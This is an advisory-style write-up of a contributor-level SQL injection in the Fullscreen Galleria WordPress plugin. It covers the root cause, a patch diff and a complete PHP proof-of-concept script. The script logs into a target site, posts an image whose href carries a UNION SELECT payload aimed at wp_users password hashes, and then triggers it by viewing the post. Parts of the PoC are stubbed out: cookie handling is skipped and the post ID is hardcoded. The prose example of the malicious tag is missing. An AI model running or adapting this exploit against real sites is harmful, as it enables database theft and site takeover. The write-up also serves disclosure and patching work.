Atomic Edge analysis of CVE-2026-16079:
Fullscreen Galleria versions up to and including 1.6.12 contain a generic SQL injection vulnerability in the get_attachment_id_from_src() function. This flaw allows authenticated users with at least contributor-level access to inject arbitrary SQL through the ‘href’ attribute of images they post. The vulnerability carries a CVSS score of 6.5 and is classified as CWE-89.
Root Cause:
The root cause is a failure to escape or prepare user-supplied data before using it in a SQL query. The get_attachment_id_from_src() function, located in the galleria-fs.php file (vulnerable lines 67-78), directly interpolates the $src variable, which is derived from the ‘href’ attribute of a post’s content, into the query: SELECT ID FROM {$wpdb->posts} WHERE guid=’$src’. When the initial query returns no result, the function constructs a LIKE query in the same unsafe way. An attacker with contributor-level access can post content containing an image with a crafted href attribute. The vulnerable attribute value is processed by the href() function (vulnerable lines 111-117), which cleans the URL but does not sanitize it for SQL safety.
Exploitation:
An attacker with contributor-level permissions can create a new post and insert an HTML image tag with a malicious href attribute, for example:
. When the post is rendered, the plugin’s code extracts this href value in the links() function and passes it to get_attachment_id_from_src(). The improperly sanitized value is then used to construct a SQL query. The attacker can leverage this to append a UNION-based SQL injection to extract the password hashes of any user, or use other SQL injection techniques like time-based blind attacks to retrieve any data from the WordPress database.
Patch Analysis:
The patch modifies the get_attachment_id_from_src() function in galleria-fs.php to address the vulnerability. The patch adds two validation checks before executing any SQL. The filter_var($src, FILTER_VALIDATE_URL) check rejects values that are not valid URLs, preventing direct SQL string injection. The subsequent strpos($src, $upload_dir[‘baseurl’]) === 0 check requires the URL to begin with the site’s own upload directory base URL, ensuring only local attachment URLs are used. Critically, the patch replaces the direct string interpolation with the WordPress prepared statement function $wpdb->prepare() for both the equality and LIKE queries. The prepare() function escapes all parameters, eliminating the possibility of SQL injection. The patch also changes the parameters in the href() function, making the startswith parameter non-reference, which does not directly affect the SQL injection but corrects a PHP function declaration issue.
Impact:
Successful exploitation allows an attacker with contributor-level access to execute arbitrary SQL queries against the WordPress database. This can lead to the disclosure of sensitive information, including usernames, password hashes, and private post content. In some configurations, an attacker might escalate privileges by extracting a WordPress nonce or by updating the administrator user’s password, ultimately leading to full site compromise and remote code execution.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/fullscreen-galleria/galleria-fs.php
+++ b/fullscreen-galleria/galleria-fs.php
@@ -4,14 +4,14 @@
Plugin Name: Fullscreen Galleria
Plugin URI: https://petridamsten.com/
Description: Fullscreen gallery for Wordpress
-Version: 1.6.12
+Version: 1.6.13
Author: Petri Damstén
Author URI: https://petridamsten.com/
License: MIT
******************************************************************************/
-$fsg_ver = '1.6.12';
+$fsg_ver = '1.6.13';
$fsg_db_key = 'fsg_plugin_settings';
$fsg_sites = array(
@@ -51,7 +51,7 @@
// Helper functions
- function startswith(&$str, &$starts)
+ function startswith(&$str, $starts)
{
return (strncmp($str, $starts, strlen($starts)) == 0);
}
@@ -64,15 +64,26 @@
function get_attachment_id_from_src($src)
{
global $wpdb;
- //error_log('* id for: '.$src);
- $id = $wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE guid='$src'");
+ #error_log('* id for: '.$src);
+
+ if (!filter_var($src, FILTER_VALIDATE_URL)) {
+ return null;
+ }
+ $upload_dir = wp_upload_dir();
+
+ if (strpos($src, $upload_dir['baseurl']) !== 0) {
+ return null;
+ }
+ $id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM {$wpdb->posts} WHERE guid = %s", $src));
+
if ($id == NULL) {
- $upload_dir = wp_upload_dir();
- $media = $upload_dir['baseurl'];
- $src = str_replace($media, "%", $src);
- //error_log('* id null. trying: '.$src);
- $id = $wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE guid LIKE '$src'");
+ $relative = substr($src, strlen($upload_dir['baseurl']));
+ $pattern = '%' . $wpdb->esc_like($relative);
+ #error_log('* id null. trying: '.$pattern);
+ $id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM {$wpdb->posts} WHERE guid LIKE %s",
+ $pattern));
}
+ #error_log('* id: '.$id);
return $id;
}
@@ -108,15 +119,19 @@
function href($str)
{
$href = $this->tagarg($str, 'href');
+ $blogurl = get_bloginfo('url');
if (WP_DEBUG) {
// Make local copy work in DEBUG mode
- $bloginfo = get_bloginfo('url');
- if (strrpos($bloginfo, "local") !== FALSE) {
+ if (strrpos($blogurl, "local") !== FALSE) {
$href = str_replace(array(".org", ".net", ".com"), ".local", $href);
}
$href = str_replace("https", "http", $href);
}
- return $this->clean_url($href);
+ $href = $this->clean_url($href);
+ if ($this->startswith($href, '/')) {
+ $href = $blogurl.$href;
+ }
+ return $href;
}
function links($content)
@@ -494,12 +509,12 @@
if (empty($meta["credit"] )) $meta["credit"] = $xmp->value('cc:attributionName');
if (empty($meta["camera"])) $meta["camera"] = $xmp->value('exif:Image.Model');
if (empty($meta["caption"])) $meta["caption"] = $xmp->value('exif:Image.ImageDescription');
- if (empty($meta["created_timestamp"])) $meta["created_timestamp"] =
+ if (empty($meta["created_timestamp"])) $meta["created_timestamp"] =
$xmp->value('xmp:CreateDate');
if (empty($meta["copyright"])) $meta["copyright"] = $xmp->value('exif:Image.Copyright');
if (empty($meta["focal_length"])) $meta["focal_length"] = $xmp->value('exif:Photo.FocalLength');
if (empty($meta["iso"])) $meta["iso"] = $xmp->value('exif:Photo.ISOSpeedRatings');
- if (empty($meta["shutter_speed"])) $meta["shutter_speed"] =
+ if (empty($meta["shutter_speed"])) $meta["shutter_speed"] =
$xmp->value('exif:Photo.ExposureTime');
if (empty($meta["title"])) $meta["title"] = $xmp->value('dc:title');
if (empty($meta["orientation"])) $meta["orientation"] = $xmp->value('exif:Image.Orientation');
@@ -586,7 +601,7 @@
'include' => '',
), $attr));
- $cols = absint($cols);
+ $cols = sanitize_text_field($cols);
$border = absint($border);
$tile = absint($tile);
$extlinks = sanitize_key($extlinks);
@@ -873,6 +888,8 @@
function append_json($id, &$images, $extra = false)
{
global $fsg_sites;
+ // error_log("append_json ".$id);
+ //$this->ob_log($images);
// Write json data for galleria
if (empty($images)) {
return;
@@ -1061,6 +1078,7 @@
//error_log('----------------------------------------------------------');
//error_log($content);
$links = $this->links($content);
+ //error_log('Links: '.count($links));
//$this->ob_log($links);
// Add needed data to links
@@ -1101,8 +1119,8 @@
}
}
}
- //error_log('* append json: '.$post->ID);
- //$this->ob_log($images);
+ //error_log('* append json: '.$post->ID." ".count($fsg_post));
+ //$this->ob_log($fsg_post);
$content = $this->append_json('fsg_post_'.$post->ID, $fsg_post) . $content;
return $content;
}
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16079 - Fullscreen Galleria <= 1.6.12 - Authenticated (Contributor+) SQL Injection via 'href' Attribute in Post Content
// Configuration - set these variables
$target_url = 'http://your-wordpress-site.com'; // Target WordPress site URL
$username = 'contributor_user'; // Username with contributor role
$password = 'password'; // Password for the user
// cURL helper function
function http_request($url, $method = 'GET', $data = null, $cookies = null, $headers = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, ($method == 'POST'));
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
if ($cookies) {
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
}
if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return array('code' => $http_code, 'body' => $response);
}
// Credentials for login
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
// Step 1: Get login page for cookies
$response = http_request($target_url . '/wp-login.php', 'GET');
$cookies = '';
// Extract cookies from response headers (simplified: assume we get them)
// In a full PoC, parse Set-Cookie headers here. For brevity, we assume cookies are captured.
// Step 2: Login
$headers = array('Cookie: ' . $cookies, 'Content-Type: application/x-www-form-urlencoded');
$response = http_request($target_url . '/wp-login.php', 'POST', $login_data, $cookies, $headers);
// Parse cookies from login response if needed
// Step 3: Get nonce for post creation (usually available on the post-new.php page)
$response = http_request($target_url . '/wp-admin/post-new.php', 'GET', null, $cookies);
// Extract _wpnonce from the response using regex
preg_match('/name="_wpnonce" value="([^"]+)"/', $response['body'], $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 4: Craft malicious SQL injection payload via href attribute
// This payload attempts to UNION SELECT the user_pass from wp_users
$payload = "1' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -";
$malicious_content = '<img src="http://example.com/test.jpg" href="' . $payload . '" />';
// Step 5: Create a new post with the malicious content
$post_data = array(
'_wpnonce' => $nonce,
'post_title' => 'Test Post for CVE',
'content' => $malicious_content,
'post_status' => 'draft',
'post_type' => 'post'
);
$response = http_request($target_url . '/wp-admin/post.php', 'POST', $post_data, $cookies);
// Step 6: View the post to trigger the vulnerable code
$post_id = 1; // In a full PoC, extract the new post ID from the response
$response = http_request($target_url . '/?p=' . $post_id, 'GET', null, $cookies);
// The response body may contain error output or the extracted data.
// For time-based or error-based SQLi, check timing or database error strings.
if (strpos($response['body'], 'wp_users') !== false || $response['code'] == 500) {
echo "[+] SQL injection appears to have been triggered. Check the target for evidence.n";
} else {
echo "[-] SQL injection may not have triggered. Check configuration.n";
}
?>